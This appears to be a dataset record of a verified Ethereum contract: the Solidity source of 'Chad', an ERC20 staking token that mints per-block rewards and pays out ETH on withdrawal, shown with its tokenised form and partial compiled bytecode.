2616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200a2a970edbf527ba9f796a6f871c0c27bf7d97e3cdaf31eaf163e4fab2f90d1764736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 21926, 2620, 12740, 2581, 2581, 2546, 14141, 28154, 2094, 18827, 2620, 20842, 23632, 2497, 2683, 7011, 8586, 27531, 2509, 2546, 2692, 2620, 2581, 11387, 2549, 2050, 2581, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 2184, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 2184, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 2184, 1008, 1013, 1013, 1008, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,667
0x9723ca5b7f45f2c21afa2c31f5696a4e1b851e77
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** *Submitted for verification at Etherscan.io on 2020-09-28 */ /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.0; contract Chad is Context, IERC20 { using SafeMath for uint256; using Address for address; struct stakeTracker { uint256 lastBlockChecked; uint256 rewards; uint256 uniStaked; } address private _owner; uint256 public difficulty; IERC20 public uni; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; mapping(address => stakeTracker) private _stakedBalances; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; event Staked(address indexed user, uint256 amount, uint256 totalUniStaked); event Withdrawn(address indexed user, uint256 amount, uint256 payout); event Rewarded(address indexed user, uint256 amountClaimed); event ThanksPepe(address indexed user, uint256 ethereumReceived); constructor (string memory _name_, string memory _symbol_, address _uniPepe) public { _name = _name_; _symbol = _symbol_; _decimals = 18; _owner = msg.sender; difficulty = 100000; uni = IERC20(_uniPepe); _owner = msg.sender; uint256 startingSupply = 100 ether; _mint(msg.sender, startingSupply); } modifier _onlyOwner() { require(msg.sender == _owner); _; } modifier updateStakingReward(address account) { if (block.number > _stakedBalances[account].lastBlockChecked) { uint256 rewardBlocks = block.number .sub(_stakedBalances[account].lastBlockChecked); if (_stakedBalances[account].uniStaked > 0) { _stakedBalances[account].rewards = _stakedBalances[account].rewards .add( _stakedBalances[account].uniStaked .mul(rewardBlocks) / difficulty); } _stakedBalances[account].lastBlockChecked = block.number; } _; } receive() external payable { emit ThanksPepe(msg.sender, msg.value); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function getBlockNum() public view returns (uint256) { return block.number; } function getLastBlockCheckedNum(address _account) public view returns (uint256) { return _stakedBalances[_account].lastBlockChecked; } function getAddressStakeAmount(address _account) public view returns (uint256) { return _stakedBalances[_account].uniStaked; } function setDifficulty(uint256 _amount) public _onlyOwner { difficulty = _amount; } function setNewOwner(address _newOwner) public _onlyOwner { _owner = _newOwner; } function totalStaked() public view returns (uint256) { return uni.balanceOf(address(this)); } function myRewardsBalance(address account) public view returns (uint256) { if (block.number > _stakedBalances[account].lastBlockChecked) { uint256 rewardBlocks = block.number .sub(_stakedBalances[account].lastBlockChecked); if (_stakedBalances[account].uniStaked > 0) { return _stakedBalances[account].rewards .add( _stakedBalances[account].uniStaked .mul(rewardBlocks) / difficulty); } } } function stake(uint256 amount) public updateStakingReward(msg.sender) { require(uni.transferFrom(msg.sender, address(this), amount)); _stakedBalances[msg.sender].uniStaked = _stakedBalances[msg.sender].uniStaked.add(amount); emit Staked(msg.sender, amount, totalStaked()); } function withdraw(uint256 amount) public updateStakingReward(msg.sender) { require(_stakedBalances[msg.sender].uniStaked >= amount); getReward(); _stakedBalances[msg.sender].uniStaked = _stakedBalances[msg.sender].uniStaked.sub(amount); uint payout = amount.mul(address(this).balance).div(totalStaked()).mul(9).div(10); _burn(msg.sender, amount); uni.transfer(msg.sender, amount); msg.sender.transfer(payout); emit Withdrawn(msg.sender, amount, payout); } function getReward() public updateStakingReward(msg.sender) { uint256 reward = _stakedBalances[msg.sender].rewards; _stakedBalances[msg.sender].rewards = 0; _mint(msg.sender, reward); emit Rewarded(msg.sender, reward); } }
0x6080604052600436106101445760003560e01c80637f6c6f10116100b6578063a9059cbb1161006f578063a9059cbb14610719578063be35ef141461078c578063dd62ed3e146107f1578063e60df1b614610876578063edc9af95146108db578063f5a1f5b41461093257610199565b80637f6c6f1014610520578063817b1cd21461054b57806395d89b4114610576578063a457c2d714610606578063a57306dc14610679578063a694fc3a146106de57610199565b80632e1a7d4d116101085780632e1a7d4d1461038a578063313ce567146103c557806339509351146103f65780633d18b91214610469578063602512e11461048057806370a08231146104bb57610199565b806306fdde031461019e578063095ea7b31461022e57806318160ddd146102a157806319cae462146102cc57806323b872dd146102f757610199565b36610199573373ffffffffffffffffffffffffffffffffffffffff167ff34d1e4826e868eae783517df8c74cae71b8f3403223b359031bb08ee5aa5cbb346040518082815260200191505060405180910390a2005b600080fd5b3480156101aa57600080fd5b506101b3610983565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f35780820151818401526020810190506101d8565b50505050905090810190601f1680156102205780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023a57600080fd5b506102876004803603604081101561025157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a25565b604051808215151515815260200191505060405180910390f35b3480156102ad57600080fd5b506102b6610a43565b6040518082815260200191505060405180910390f35b3480156102d857600080fd5b506102e1610a4d565b6040518082815260200191505060405180910390f35b34801561030357600080fd5b506103706004803603606081101561031a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a53565b604051808215151515815260200191505060405180910390f35b34801561039657600080fd5b506103c3600480360360208110156103ad57600080fd5b8101908080359060200190929190505050610b2c565b005b3480156103d157600080fd5b506103da611038565b604051808260ff1660ff16815260200191505060405180910390f35b34801561040257600080fd5b5061044f6004803603604081101561041957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061104f565b604051808215151515815260200191505060405180910390f35b34801561047557600080fd5b5061047e611102565b005b34801561048c57600080fd5b506104b9600480360360208110156104a357600080fd5b8101908080359060200190929190505050611420565b005b3480156104c757600080fd5b5061050a600480360360208110156104de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611483565b6040518082815260200191505060405180910390f35b34801561052c57600080fd5b506105356114cc565b6040518082815260200191505060405180910390f35b34801561055757600080fd5b506105606114d4565b6040518082815260200191505060405180910390f35b34801561058257600080fd5b5061058b6115b5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105cb5780820151818401526020810190506105b0565b50505050905090810190601f1680156105f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061257600080fd5b5061065f6004803603604081101561062957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611657565b604051808215151515815260200191505060405180910390f35b34801561068557600080fd5b506106c86004803603602081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611724565b6040518082815260200191505060405180910390f35b3480156106ea57600080fd5b506107176004803603602081101561070157600080fd5b81019080803590602001909291905050506118d8565b005b34801561072557600080fd5b506107726004803603604081101561073c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d28565b604051808215151515815260200191505060405180910390f35b34801561079857600080fd5b506107db600480360360208110156107af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d46565b6040518082815260200191505060405180910390f35b3480156107fd57600080fd5b506108606004803603604081101561081457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d92565b6040518082815260200191505060405180910390f35b34801561088257600080fd5b506108c56004803603602081101561089957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e19565b6040518082815260200191505060405180910390f35b3480156108e757600080fd5b506108f0611e65565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561093e57600080fd5b506109816004803603602081101561095557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e8b565b005b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a1b5780601f106109f057610100808354040283529160200191610a1b565b820191906000526020600020905b8154815290600101906020018083116109fe57829003601f168201915b5050505050905090565b6000610a39610a32611f27565b8484611f2f565b6001905092915050565b6000600354905090565b60015481565b6000610a60848484612126565b610b2184610a6c611f27565b610b1c85604051806060016040528060288152602001612b2e60289139600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ad2611f27565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e09092919063ffffffff16565b611f2f565b600190509392505050565b33600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154431115610d5f576000610bce600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154436124a090919063ffffffff16565b90506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541115610d1657610ccf600154610c7683600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546124ea90919063ffffffff16565b81610c7d57fe5b04600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015461257090919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b43600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550505b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541015610dae57600080fd5b610db6611102565b610e0b82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546124a090919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055506000610ea5600a610e976009610e89610e686114d4565b610e7b478a6124ea90919063ffffffff16565b6125f890919063ffffffff16565b6124ea90919063ffffffff16565b6125f890919063ffffffff16565b9050610eb13384612642565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610f5a57600080fd5b505af1158015610f6e573d6000803e3d6000fd5b505050506040513d6020811015610f8457600080fd5b8101908080519060200190929190505050503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610fdc573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167f92ccf450a286a957af52509bc1c9939d1a6a481783e142e41e2499f0bb66ebc68483604051808381526020018281526020019250505060405180910390a2505050565b6000600660009054906101000a900460ff16905090565b60006110f861105c611f27565b846110f3856009600061106d611f27565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257090919063ffffffff16565b611f2f565b6001905092915050565b33600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544311156113355760006111a4600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154436124a090919063ffffffff16565b90506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015411156112ec576112a560015461124c83600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546124ea90919063ffffffff16565b8161125357fe5b04600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015461257090919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b43600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550505b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015490506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055506113ce33826127fc565b3373ffffffffffffffffffffffffffffffffffffffff167fb3b7a071186534c03b40695710096f289fd4ed6c1a374aff0bb648955e4fe563826040518082815260200191505060405180910390a25050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461147957600080fd5b8060018190555050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600043905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561157557600080fd5b505afa158015611589573d6000803e3d6000fd5b505050506040513d602081101561159f57600080fd5b8101908080519060200190929190505050905090565b606060058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561164d5780601f106116225761010080835404028352916020019161164d565b820191906